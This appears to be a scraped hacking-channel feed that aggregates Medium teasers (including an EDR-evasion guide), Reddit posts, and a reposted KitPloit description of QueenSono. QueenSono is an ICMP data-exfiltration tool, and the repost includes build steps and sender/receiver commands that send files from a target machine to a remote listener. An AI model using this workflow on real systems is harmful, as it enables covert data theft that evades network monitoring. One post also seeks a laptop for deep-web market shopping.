On local machine: $ qsreceiver receive truncated 1 -l 0.0.0.0
Explanation receive truncated 1 does not wait indefinitely if we don't received all the packets. (1 is the delay used with qssender) On target machine: $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 127.0.0.1 -r 10.0.0.190 go.mod -s 1 -N
Explanation -N noreply option (don't wait for echo reply)
Notes
only work on Linux (due to the use of golang net icmp package) need cap_net_raw capabilities

Download QueenSono (https://github.com/ariary/QueenSono)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
MERA FIRST BASH SCRIPT! NOT A SCRIPT KIDDIE ANYMORE!

https://cdn-images-1.medium.com/max/925/1*oyvy3zp2RK8PUP1oiHNS4g.png
Hello what’s up people. Hope you are all doing great:). I am back with another blog. Hope you liked my previous blog which was a small…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Exploiting Path manipulation Vulnerability

https://cdn-images-1.medium.com/max/633/1*WeLjJ-yhZdpnuU7nb0nzIg.png
Introduction

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Writer: HackTheBox Walkthrough

https://cdn-images-1.medium.com/max/900/1*baChbSE_WF3Gsh4oJ0F_Bw.jpeg
Description

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
NMAP for Beginners: Tutorial

https://cdn-images-1.medium.com/max/1400/1*h47TysMNj-na6dn0mxJ-6Q.png
Well hello there my fellow Hackers and people reading this article, hope you are doing great! Been a long time I am publishing another…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
A Beginner’s Guide to EDR Evasion

https://cdn-images-1.medium.com/max/2225/1*1gKTDUWOWW8ov3LeHc7RCA.jpeg
Or, how to get past Crowdstrike/Defender ATP/Carbon Black on your next engagement

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
QueenSono - Golang Binary For Data Exfiltration With ICMP Protocol

https://1.bp.blogspot.com/-p5_2_IEv9P8/YUuqKRcI1rI/AAAAAAAAvSg/hsnZHGNuRTEP9G-_v8lbWCSQYvVXbj3XQCNcBGAsYHQ/w640-h270/QueenSono_2_qssono-trunc.gif QueenSono tool only relies on the fact that ICMP protocol isn't monitored. It is quite common. It could also been used within a system with basic ICMP inspection (ie. frequency and content length watcher). Try to imitate PyExfil (and others) with the idea that the target machine does not necessary have python installed (so provide a binary could be useful) Install> Install the binary from source

Clone the repo and download the dependencies locally: git clone https://github.com/ariary/QueenSono.git
make before.build To build the ICMP packet sender qssender: build.queensono-sender To build the ICMP packet receiver qsreceiver: build.queensono-receiver Usageqssenderis the binary which will send ICMP packet to the listener , so it is the binary you have to transfer on your target machine. qsreceiveris the listener on your local machine (or wherever you could receive icmp packet)

All commands and flags of the binaries could be found using --helpExample 1: Send with "ACK"> In this example we want to send a big file and look after echo reply to ackowledge the reception of the packets (ACK). https://1.bp.blogspot.com/-mDD0xXmoAd0/YUup-c0l0aI/AAAAAAAAvSc/KwlmdWaRXWYLWELL21Bz-rh-UIUYPSsuwCNcBGAsYHQ/w640-h270/QueenSono_1_qssono.gif On local machine: $ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt Explanation* -l 0.0.0.0listen on all interfaces for ICMP packet
* -f received_bible.txtsave received data in a file
* -pshow a progress bar of received data
On target machine: $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
$ qssender send file -d 2 -l 127.0.0.1 -r 10.0.0.92 -s 50000 bible.txt Explanation* send filefor sending file (bible.txt is the file in question)
* -d 2send a packet each 2 seconds
* -l 127.0.0.1the listening address for echo reply* -r 10.0.0.92the address of my remote machine with qsreceiverlistening
* -s 50000the data size I want to send in each packet Example 2: Send without "ACK"> In this example we want to send a message without waiting for echo reply (it could be useful in case the target firewall filters incoming icmp packet) https://1.bp.blogspot.com/-p5_2_IEv9P8/YUuqKRcI1rI/AAAAAAAAvSg/hsnZHGNuRTEP9G-_v8lbWCSQYvVXbj3XQCNcBGAsYHQ/w640-h270/QueenSono_2_qssono-trunc.gif On local machine: $ qsreceiver receive truncated 1 -l 0.0.0.0 Explanation* receive truncated 1does not wait indefinitely if we don't received all the packets. (1 is the delay used with qssender)
On target machine: $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 127.0.0.1 -r 10.0.0.190 go.mod -s 1 -N Explanation
* -Nnoreply option (don't wait for echo reply) Notes* only work on Linux (due to the use of golang net icmp package)
* need cap_net_raw capabilitiesDownload QueenSono

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Awesome Repository of Useful Tools For Cyber Enthusiasts

https://external-preview.redd.it/AP5-QX6ClsABl7AuDvMnhZo2aMPPnD9WTpgrqyFZsLI.jpg?width=320&crop=smart&auto=webp&s=3599287ce55bca3952bc643708c03206ab32bb21 submitted by /u/entropydaemon3
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Alfa network wifi card or something else?

HiAfter few years I want to test some things and I need access to wifi. Is it still better to buy wifi card from Alfa network than use built in? Maybe now is there better company?

submitted by /u/asokopo
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Computer recommendations

Hi, I’m looking to get a laptop computer just to shop the markets, can anybody recommend a affordable one like from amazon what basics would I need? It would be only used for searching the deep web and nothing else, thanks in advance for any pointers for a noob haha

submitted by /u/Greengoldtf
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Help! I Am Caught In A Catch-22 Situ

https://cdn-images-1.medium.com/max/828/1*rx8sQdw91iV_bmBko005kw@2x.jpeg
Why can’t Twitter get me my stolen account back?

Continue reading on The Bad Influence »

___________________________
@hacking_Attack
@Hacking_Video